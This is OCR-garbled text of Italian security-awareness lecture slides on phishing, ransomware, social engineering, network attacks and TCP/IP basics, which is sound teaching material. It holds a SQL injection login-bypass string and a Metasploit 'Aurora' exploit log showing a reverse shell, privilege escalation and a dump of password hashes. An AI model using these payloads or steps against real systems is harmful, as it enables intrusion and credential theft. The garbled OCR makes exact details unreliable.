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There are two types of
companies: those'who
have been hacked, and
those who don’t yet know
they have been hacked.

John Chambers
Chief Executive Officer of Cisco

src: https://lwww.facebook.com/worldeconomicforum/posts/1015257 8793381479
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Scenario 1: utenti

malware

I rom Terrence Young <YoungTerrence3B@gardentrans.com> = ™ Reply  =pForward | T Archive @) Delere  More~
Sublect Invoice #24 5598007 [S14D7SE2 11712115 10:47

To Mareo Falsert ®

Dear Client,

Qur finance department has processed your payment, unfortunately it has been declined.
Please, double check the information provided in the invoice down below and confirm your details.

Thank you for understanding.

@1 attachment SCAN_imwoice 24598007 .7ip 2. | kB + saue ~




Scenario 1: utenti

malware

% Reply  =prorward | [ Archive | (?) Delete  More-
11102/ 15 1047

your payment, unfortunately it has been declined.
rovided in the invoice down below and confirm your details.

rnance depart

Please, double check

1.:-5.:1111'

- E.ﬁ L attachment. SCAN_invoice_2459E007.2ia 2.1
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Quiz 1: mittente

J F'“mem 4y Reply  =b Forward EMM () Delate  More= _l

Se ricevo una mail il cui mittente & " 7izio Caid' (COLLEGA)

() ESTATA INVIATA SICURAMENTE DAL COLLEGA TIZIO CAIO
() NON SAPREI
() IL MITTENTE POTREBBE ESSERE FALSO, EDE ESTREMAMENTE SEMPLICE FALSIFICARE QUESTI DATI

f:) IL MITTENTE POTREBBE ESSERE FALSO, MA E ESTREMAMENTE COMPLICATO FALSIFICARE QUESTI DATI

& 1 attach ment. SCAM_invoice_2459E007.2ia 2.1




Scenario 1: utenti

malware

From Igor Falcomard W  Reply || =prorward BN Archive | @) unk | (D) Delewe  More~
Subject training 23:47
In allegato Il documento da visuallzzare durante la presentazione a Bolzana!
ciao,

l.
» &1 documento.zip 2.1 kB & Save '~

UL FIEE R EREPED




Scenario 1: utenti

malware

Froum Igor Falcomard W

4 Reoly | =pForward B Archive | @) unk | () Delere | More~
ubject training

2347

In allegate Il documento da visuall® durante la presentarzione a Bolzano!

clago,

" & 1 documento.zip 2.1 kB

UL FIEE R EREPED



Scenario 1: utenti

malware

X -Original-To mialserti@enforcer. it

F ' To fusys@enforcer. it
& e from staric-217-133-  client tiscaliit (HELO 127.0.0.1) 217,133 0 0 by

www enforcer.it (qpsmtpd/0.93) wath (ALS256-CCM-5HAIES encrypred) ESMTPSA; Sat, 12 Dec
2015 16:58:22 +0100

ults www.enforcer.it; auth=pass (plain) smtp.auth=_ = =
HELD 127.0.0.1

s=Checked Checked by on www.enforcer.it

jvered -To fusys@enforcer.it

ved from " enforcer it (HELO. . 0 enforcerith {0 ) by wew.enforcer.it
(apsmtpd,/0.93) with SMTP, S5un, 13 Dec 2015 23:47:03 +0100

s www.enforcer.it; auth=none

i | wriem

ntus No, score=3.7 required=5.0 rests=AWL BAYES_ 00, MISSINC_DATE,
MISSING_HEADERS MISSING_MID NO_HLADERS MESSAGEND _RECEIVED NO_RELAYS autolearn=no
version=3.3.2

UL FIEE R EREPED




Scenario 1: utenti

malware

Froum lgor Falcomard W

 Reply || =prorward BN Archive | @) unk | (D) Delewe  More~
Subject training

2347

In allegato Il documento da visuallzzare durante la presentazione a Bolzana!

clago,
[

- ~(Click) ol

UL FIEE R EREPED




Your Personal files are encrypted!

Your personal files encryption produced on this computer: photos, videos,
documents, etc. Encryption was produced using a unigue public key RSA-2048
generated for this computer.

To decrypt files you need to obtain the private key.

The single copy of the private key, which will allow to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a time
specfied in this window. After that, nobody and never will be able to restore
files...

i A Ll To obtain the private key for this computer, which will automatically decrypt

files, you need to pay 1.00 bitcoin (~291 USD).

1/76,/2015 1:11:17 PM

You can easily delete this software, but know that without it, you will never
be able to get your original files back.

Disable your antivirus to prevent the removal of this software.
Time Teft

For more information on how to buy and send bitcoins, dick "Pay with Bitcoin”™
f1298:2/7 To open a hst of encoded files, chick "Show files™

Do not delete this hist, it will be used for decryption. And do not move yvour hles.

Checking wallet..

Received: 0.00 BTC

Show Tiles | Pay with Bitcoin ||




Quiz 2: go fishing?

| phishing &

() NON SAPREI
() E UNATECNICA DI ALLENAMENTO (GINNASTICA)
() E UNA TECNICA DI PESCA (CON LA "MOSCA")

() EUNATECNICA DI ATTACCC INFORMATICO

G WE FIGF B AEEERTED




Scenario 2: utenti

phishing

- | - - src: https:/fen.wikipedia.org/wiki/Phishing
= [rustedBank

Cear valued customer of TrustedBank,

YWe have recieved notice that you have recently atte mpted to withdraw the
following amount from your checking account while in another country: $133.23.

If this infarmation is not correct, sameone unknown may hawve access to your
account. As a safety measure, please visit our website via the link below to verify
Wyour personal infarmation:

bt Afanen frustedbank comdgeneralfcustve rifyinfo. asp

CJnce wou have done this, our fraud departrment will work to resolve this
discrepency. Ywe are happy you have chosen us o do business with.

Thank wou,
TrustedBank

Member FOIC @ 2005 TrustedBanlk, Inc




Scenario 2: utenti

phishing

- | - - src: https:/fen.wikipedia.org/wiki/Phishing
=~ TrustedBank

Dear valued customer of Tru

Welcome To Online Banking |
We have recieved notice tha

fullnwing Amount from WOLIT 1 -
Username

If this information is not corrg = :
account. As a safety measur Password

Wour personal information:

Rty COmay

_ Forgot Your Password?
CJnce you have done this, ol

discrepency. YWe are happy 4§ Sign up for Online Banking
Thank ll:'lllDu' Identity Prolection | Security | Privacy | Onling Guaranies | Molices
TrustedBank

Member FOIC @ 2005 TrustedBanlk, Inc




Scenario 2: utenti

phishing

From lgor Falcomata W @ Reply || =pForward B Archive || @ Junk | (P Delete  More~™

Subject nuova indirizza infranet 2147

Il nuavo indirizzo per accedera al CRM & http:/iwww.sitofarlocco. com

clao,

.

UL FIEE R EREPED




ScenanoerZ:autenti

phishing

From lgor Falcomatd W ® Reoly | =pForward B Archive || @ Junk | () Delete | More~

Subject nuova indirizza infranet 2147

Il nuoveo indirizzo per accedera al CRM & http:ff am :

[ A
| GUAE F I F_! 'I::‘.:I:I‘:F_I:U"



Ehishing

-hon seloe verso _S-iti cli IJ';_a_n'k_ing

& Login Mozlla Finofox iy
Hle Edit ¥iew Higtooy _&mh:marh;: ool Help

W o H - ﬁ'- rEIlhttp:Hng:EE“.bE.l'

ErMos Vaitec™ ¢ sonr o Tneas @uf o dilkst BExacd @eocse .pppt i lGlp Eeobsd whef (@ sdat @Eosn Bhad

m We helps you connect and share with the people in your life.

Email:

Pasaword:

_ Remc-Ezrme

FargeiycJrpssesarc?

suainn ALboul Adve Lising Sareers Teems Privacy Y obile Hulp




Prima di Internet

e phreaking

e social engineering (telefono, persona)
e malware (virus, trojan)

e X25 / itapac / videotel

« RAS / BBS

¢1-800-... / green

e Layer 1 (Physical)
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Internet 1.0

e social engineering (mail)
e malware (worm, dialer)

e attacchi client/server
« basso numero di sistemi

« hessun firewall
« scarsa conoscenza tecniche di attacco

e DOS (Denial of Service)




Ownlng the Enterprise 1.0

I una lnternet remota, meltiranni fa ..

web server mail server db server

. ! / ﬁ S

-
WA Paufer / e HE dip.
- -




Discovery...

Ownidhng the Enterprise 1.0

web server mail server db server

-

QRS g iy
SMEFIRTE AESERTED




Disc Iy...

LaEbiiE RSy L T R S BT e
%ﬁﬁﬂmﬂwmﬂjﬁ”w;w% e

ﬁwﬁw ﬁw

telnet router

Titep echo
Mr. B/tcp discard?
13/tcp daytime
19/ Lcp chargen
21l/tcp i 16.% ftpd 4.1 (Tue May 15 16:38:46 CDT Z0€1) 2rver
23/ tcp telnet  telnetd
23/1TCp smtp B.9.3/8.9.3 (AIX 4,3]
3/ tep time bits)
23/tcp domain DBind §.X
512/tcp EXCC rexecd
213/tcp rlogin
1082/ Lcp status  {(rpc #Flebe24 )
1521/tcp pracle-tns THS Listener
16080/ Lop socksS  authenticabion required
GOTD/tep http-proxy webproxy 2.4, 5TABLL1
a0/tep http 115 webserver 4.0
135h/tcp Tsrpc wWindows RPC
139/tcp nethios-ssn
LOED/ top il iprotocol 3.1) ar

Il_d |
1iF FI-I-'I: :F FF an_




OWhigRtheSEREERPIISER S0

web server mail server db server

Mr. Malicious 1.0 w w E
e _ ext. router : z ; ot

utente remoto

utente remoto

IC] CoRYRTGHT TRW CRAFE. 3R, PEO2

————
g}) = I Ay 153
|

terminale desktop

Accesso abusive vs. panatration test - Universita degli Studi di Trento, Facolta di Gludsprudenza - 16/02/2016 l g '
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Internet 1.5

e social engineering (fake web / phishing)

e malware
- Spyware
- keylogger
 bank-aware

e applicazioni web
e Wireless (wardriving, no encryption, WEP, ..)
e DDOS (Distributed Denial of Service)




DIScCoVerY:-:

OwnilinglthelEnteRphiseriss

web server mail server db server

©

SIMFFIRFT AESERTED]



Discovery...

Ownidng the Enterprise 155

AR RN

Shstop htip 1IS webserver 6.0

domain BIND 9.X
sz L/http httpd 2.0.49 ({Linux/SuSE) ]

23/tcp
443/ tcp

4 23/1tcp smtp smtpd
&0/ top http httpd
413/tcp ssL/http httpd
063/ Lep 55/ imap Dovecot imapd
995/ tcp ssL/pop3

L
e
SIMWEFIRTE AESERTED



Exploiting.

OwniRgttheSERtehphserltG




Exploiting..-

OwnlinghthelEnterphiserilts

form di login

EELE.H..’E-.!:‘..L“L;?F‘J_ an

&

password:

'or'a'="a

select * from utenti where userid = 'utente' and
password = " or 'a'="a’

SIMWEFIRTE AESERTED




Internet 2.0

e social engineering
- social network / messenger

e client-side attack
» Cross Site Scripting & Co.
- exploit applicazioni “client” -> LAN
- mobile

e cloud lifestyle (Single Sign Own)




DIScoVenRY

Ovwniling thelEnterprise 250

SIMWEFIRTE AESERTED




Discovery...

GwnilfnghthelEnterphiser 280

.' Mgz;[;ﬁ Fi ] ) e e L L L
Mr. Malicious 2.0 Fle =Zd: iﬁmu ‘Hﬁt-ﬂ'y Ed’ﬂl*..‘l"lal"lﬁ 'r-n:ls HeTP

httn:ymm.ceeeer:a.nrd Fjﬁ? Coccle

_Visiles = wGeldng Slarled (2 Lalesl Pesclines =

Ceeer

Moz

BE

1iFFI-I-'I: s FHF[I_



Discoveryv.. .

Igor faf-:umata Cerca con Google - Mozilla Firetox
Sle Frit Wew  His rr'r,r Rnosmate: Tnals  Hela

. i Eearth Naves: jonn El‘l'tt'ih Facebook - Mozil a Firefox &
Hr FEdit view diztory Borkrrares  Thals Hap

¢ He v ﬂ B ||'|th3 S facebicok. coraicnphpfnn =jer-sm

[5] Most visited~ 4aliettre S2ars

Add a Skype Contact

face book " Seprchihe Skype direc tary for old and new friends, 1T s cnow ther Skyos

BT 4 .'._, narme, Tl narme o e-mal eddress, enier b inte e oax e lov,

Facebook helps vou connect 2

Fal Wame Skype NATIE City. Zauntry
R R e S )
AN Rk remaka: LRSI Bk Lty ol

Cinzia Felcamath ¢ e fa'sormale Tarne IT

Sed _hi ylo jzhin anith

T oap o Aying 1 - 10 nf oo - 507 pesple whio masch S ahn Flisa Bale amari & &a talormats aacarm, 1l

Fomste Falcomail el B ame, IT

m —Youm. sksign up far Facehoo las2ph Facarmata iclElcs Twdiney. A

Pahne: Falnmals ede Wk Aenom Calekra 1T

Laalis FRIC amiata | atie faloormats .50
Mame; Iohn Smith

B

Kirz e Bz e ot Fairian tal=cemats Hoimin i alzliea 1T

i Soid Camcac:




Exploiting...

Ownilng the Enterprise 2.0




Exploiting...

Ownilng the Enterprise 2.0

________ =

L e
SIME FI_'-I- T AESERTEDS




lINpresencen

2010 1)..

e malware

- targetted spyware
« SCADA (Stuxnet, ..)
- mobile

- mass exploiter

e VoIP phreaking

e SCADA (Smart cities, Internet of things, ..)
e “App” (e back-end)




Riassumendo..

EEEE g o abbﬁgﬁ":#ﬂ

flrewallmg;"::s

UEW nalware

27 -\ y Imalware
%;,;;_m;-“: secu it ";',ﬁi-,%'é.'ses.zm

'a.+

;AN communications




SocialfenoineerngR2e0

img src: http://bits.blogs.nytimes.com/2007/10/30/bill-gates-has-joined-facebook-he-h as-friends/

" party

" ”"'“'““’m

- Hey, sono Bill, il collega
r di Canicatti... tl ricordi?

gol 1 friend request

o T

h:!llldl

o Fay Bill.. coms var?

s () 'j ANGG oka a J mak l-g Ay l"j “Jﬁl"_’)
::,_, Yo e _r LR s ~ L _r_r " et | .r el
o
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Scenario 1: utenti

malware




|

(e P -I.I___---q L | . - L 7~ B 3."' -
Scenario 1: utenti
nalvware

A

Mr. Malicious 2.0

.-l.':._ — £
) file server
i T
.
\_{.fz_.:_ \
"':'uhi-."'_ ] "II
1-_':. 45}. T n—
) i i dep. server
. Y - _ k=]
& = fﬁ . Rl
iL & ) =l .: Pt :.; 3 ,:If._ll 1
= l‘ o S e | ey
C:%Docunents and Settingshbaltar™Desktop=dir CiM

dir L:M
I1 volume nell*unit@® C non ha etichetta.
Numero di serie del volume: 6313-B9ES

Directory di C:\

21/710/2016 14.5%4 O AUTOEXEC.BAT
21/710/2010 14.54 @ CONFIG.5YS
21/18/201@ 15.11  <DIR> Documents and Settings
21/10/2010 15.11  <DIR» Programii
21/18/20180 15.11  <DIRs WINDOWS

g File @ byte

3 Directory 8.961.507.328 byte disponibili

C:\Docunents and Settings\baltar‘\Desktops|

Vulnerabilita delle informazioni on-line: analisi tecnica di casi reall / IT Security / 19 maggio & UniBZ
£ Igor Falo math <ifalcomatafanforcerits>, alkcuni diritt] dsoeratl bbtp)ic reative oo minons.org lcenses/by 55 2.0/t idedd.it - Pagina 13 T




Scenario 1: utenti

malware




URL “shortener”

come offuscare un linkiconiun' semplice click

el ok heoe hi-# ﬂ_hﬂff ropic
[93:21:407 31332 hiktpoitimvarkoomichSed




URL “shortener”

..come t:iffl_-_ls'ﬁ-;a*l-'e' UhNinkeceniinisemplicerclick
@ Skype Chet '

@) add Peooe |3 Send Flets) ﬁ,chat History
Doaoie-chok here moset chat Lopic w50 31337 -

fRUsElad] 31337 AtFpsdtinsurl eamyictSed

iz Emoticans

i Th-! pace at hotp dwww.ciocce... T8 E E

@ FANRL

Duez= Jaky Sla b Creabpre StaF & Jed= Shossis bo=rsed ue o= a Creatire © oomors ..'-'|.-I::n_'h|_-|.q:-r_ [‘-cncnm:e-cl.al [oz Deruatve ¥Werles 2.0 Uit s d States
lren==

BasoZ moa worl ab Wendi o shocs.arg

e




Client-side attack..

I B "3""'&}“"‘4"‘ D "‘t\.
|I- B --ype Lnat: : PSRRI 3 3 3 3 3

) Add P=ople i Send Filsis) ‘ Chat Histary
Couble-clic s here o sst <hal topic

(O Ea40] A13X7: Bttt Msyliricomi b5

SMEFIS T SESERTED




.un click per..

BN BBz AR 10 B E ke Al T A juRISYE - Microsall Inlernel Eeplores

P L S T Fia vurde:: Tdeldi Sl el 7
B Skype Chat s

) add People £, Send Filsis) Y Qe - O [x] [8] G0 e g ‘@: - =8
Couble-lic « here to sst chat togic Jrcmm@lm QL 31, EhECE A<D TR S5 v EXun | teleqzmenn *

[0 2 Ea40] FT1IXT: BbEn ey r e

(Click)

Eéﬁ E maticons

Mocdia

#| rpete eee ik V= | 8 rtere

S tp UL e,




. Flza Muodpa vusde:: *ddedi Sl gl 7

! 5‘:';-"[}& 0% 1) et ek R

i I R L L = ey rrfrrt 4 E _—
8 bdd People Send Filais] 1 .n*:l L | = "‘g_

Couble-clics here to set chal topic resceo g il GLC 3'-1-:N:EEE'II.-'*AI.!HJ'-I'-'T{'-FE'5'-'T=|3 | Bdve | cbegamen ¥

C I TR Y e TR T U0 ot w0 T o

I

msf exploitimsi@® 802 _ourora) > exploit -j

[*] Started reverse handler on 10.0.1.104:443

[*] Using URL: http://0.0.0.0:5080/

[*1 Local IP: http://10.0.1.104:8088/

[*] Server started.

[*] Sending Internet Explorer “Aurora™ Memory Corruption to client 10.9.1.136

[*] Sending stage (745056 bytes) to 10.0.1.135

[*] Meterpreter session 1 opeéned (10.0.1.104:443 > 10.0.1.136:58550) at 2010-10-21 13:18:06 +0200

maf exploit{msl® 002 _aurora) > seszions -1 1
[*] Starting interaction with 1...

meterpreter > shell
Process 430 created.

Channel 1 created.
Microsoft Windows XP [Versione 5.1.2608]
CCD Copyright 1985-2001 Microscft Corp.

C:“Documents and Settings‘baltorDesk top:

& | rpesoe ore o

& Irterane

-E S fLLLL 1. T
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raveresassta jefcompromessa

I Een= B PEPE AP - BTRPE rme i a1 TralF AR ol VEAPPAIT Bhiaerrersl | Do forrrmenl b e

E:\EEcuﬂents and Settingsh\baltor\Desktop-dir CiN
dir LN

Il volume nell®unit® C non ho etichetta.

Numero di serie del volume: 6813-B98S

Directory di LC:M

2171072010 14.54 @ AUTOEXEC.BAT
21/10/2010 14.54 @ CONFIG.S5YS
2i/71e/2010 15,11 <DIR> Documents and Settings
21710/ 2019 15.11 <DIR> Programmi
21/10/2010 15.11 <DIR=> WINDOWS

2 File @ byte

3 Directory B8.961.507.328 byte disponibili
C:\Documents ond Settings‘baltor\Desktop-f§i

meterprater s getsystem
...got system (via technique 1.
meterpreter > getuid

Sewer usermnane: NT AUTHORITYWSYSTEM

‘'meterpreter > hashdump
Aﬁmmstmtor 500:031d20e2331 0719594680004 f9e2394c4 | 4115c44-21f49555hd5@&e1eb-:ce53d13‘ be
' baltar:1003:aad3b435b51404eennd3bd35b51 40dea: Bllﬁc-e@dlﬁaeﬁﬁlh?ﬂcﬂd?eﬂcﬂm
Guest:501 : ood3b435b51404eeqad3b435b51 40400 : 31 docFedd160e931b7 3c59d7 cBcDB9CO :
HelpAssistant: 1000 :659¢36Ffa6Ffblof2adal 92855207 fee: Eﬂrﬁabdﬁsﬁcfﬁazﬂtﬁ‘d&c@mmﬁ?...
SUPPORT 38854500 : 1082 mdﬂMEEbEiﬂ#eemﬂHEShElmee 19¢1c581cedI318f1 fcbrBf3fdI6d947] !

B TR BT T
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SIMWEFIRTE AESERTED




winnuke?\\ SOLI
teardrop! )
| [ tcp hijacking
— john the ripper

inode mangling "3

ARP poisoning .

e

format bug . f e sniffing

= kernel rootkit

Aircrack o hlind spoofing
smurf /

en anEI ICT Security 101 - Matteo Falsetti <mfalsetti@enforcer.it> - 34

hydra

ceabhato @ movembre 13



tep/ip 101

|IPv4 header
/ (2 hits)- {1515 31
Version | IHL DSField £ Total Length
(4 bits) | (4 bits) (G bits) N (16 bits}
identification Flags Fragment Offset
(16 bits) (3 bits} (13 bits)
Time-ta-Live (TTL) Protocol Header Checksum
(8 bits) (8 bits) (16 bits)
Source |P Address
(32 bits)
Destination |P Address
(232 bits)

W)
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tcp/ip 101

TCP header

0 15 16 31

Source Paort Destination Port
(16 bits) (16 bits)

Sequence Number
(32 bits)

@bits) | bl P

TCP Checksum
(16 bits)

Urgent Pointer
(16 bits)

Options
(variable) E
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tep/ip 101

UDP header

0 15 16 31
Source Port Number Destination Port Number
12 bylas) (2 byles)
Length Checksum
(£ bytes) (2 bytes)
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tcp/ip 101
|ICMP header

0 15 16 1

Cade
(8 bits)

Checksum
(16 bits)

Type
(8 bits)

Contents Depend on Type and Code
(variable)

|
anjnrl: er ICT Security 101 - Matteo Falsetti <mfalsetti@enforcer.it> - 38

e hats G R R e 1



. .
tCP/ |P | 0 | e il — -

' . ™ 1
/LI;TEN N\ _sendos > S‘FM_E-}TJ L >

g Send-37HN i of Timeout m‘

Recy: 3TH

: Sepd: SYN + ACK
§ Hem. SYN

: ng |5m.u SN + ACK

: —e- Typica Cliznt Transitions
g SYMN_RCVD : |

— —~ - Typical Server Transitcns

Facy: SYMN = 47K

Send: ACK OpervClose  Applicalion Aclicns

1 H-El::..r i i

: ACK, ! Q Timer- nitiated Transitions
e ESTABLISHED | e sl

i LSV
N //{H._ g 3 . Close Ciose |

oS 1 ™ Send FIN
Send. FIN oy hok| ™ CLOSE_WAIT = LAST ACK FRra-T™
Close \'\ A-GI"';.
Send: FIN ; mu/

\ ------------ — Active
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sniffing

Si definisce sniffing l'attivita di intercettazione
passiva dei dati che transitano in una rete

telematica.

Gli sniffer intercettano i singoli pacchetti,
decodificando le varie intestazioni di livello
datalink, rete, trasporto, applicativo.
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MR. TCPDUMP

By
Bllilll‘l:ﬂl
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Switch

sniffing

Bob:

IP; 10.0.0.1
MAC: [bb:bb:bb:bb:bb:bb]

IP 10.0.0.3
MAC: [cc:ce:cc:ce:ce:cc]

B
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ISO/OSI
Application

Presentation
Session
Transport

Network

Data-Link

Physical

network attacks

TCP/IP
Application

Transport

Network

Data-Link
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network attacks

TCP/IP
Application

[ Man in the Middle ]

Transport

Spoofing / Hijacking

Network

A
Sniffing / Spoofing (

Data-Link

W)
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network attacks

telnet SSH IPSec Crypt NIC

clear crypted |clear/crypted clear/crypted Application
clear clear crypted  clear/crypted Transport

clear clear crypted  clear/crypted Network

clear clear clear crypted Data-Link

sniffing  TCP mangling routing DoS HW tamper

B
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Scenario 3: utenti
Man In TThe Middle
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portscan

Si definisce portscan la tecnica informatica
utilizzata per raccogliere informazioni su un
computer connesso ad una rete stabilendo quali
porte siano in ascolto su una macchina.

Letteralmente significa "scansione delle porte:
inviando richieste di connessione al computer
bersaglio (soprattutto pacchetti TCP, UDP e ICMP
creati ad arte) ed elaborando le risposte e
possibile stabilire quali servizi di rete siano attivi
su quel computer. Una porta si dice 'in

ascolto” ("listening") o "aperta" quando vi € un

servizio, programma o processo che la usa.
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tcp/ip 101

TCP 3way handshake

Active Opener Passive Opener
(Client) (Server)

Y -
N, Seq = ISN(e;, (options)

= |SN(s) pCK = iSME) * 1, {-:p'linnﬁj

Connection Set-Up
(Three-\Way Handshakes)

gy + ACK, Sed

il
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portscan
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Denial of Service - TCP/IP stack

overlap dei
PrOtOCO!|{we "N framment

Inesistenti

~olazione

_IPaddr

bad options
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Denial of Service - TCP/IP protocols

victim.ECHO REQUEST > LAN bcast

u
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Denial of Service - TCP/IP protocols

e

LAN.ECHO > vc\

1 victim

evil
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Scenario 4: networking

Segmentazione et




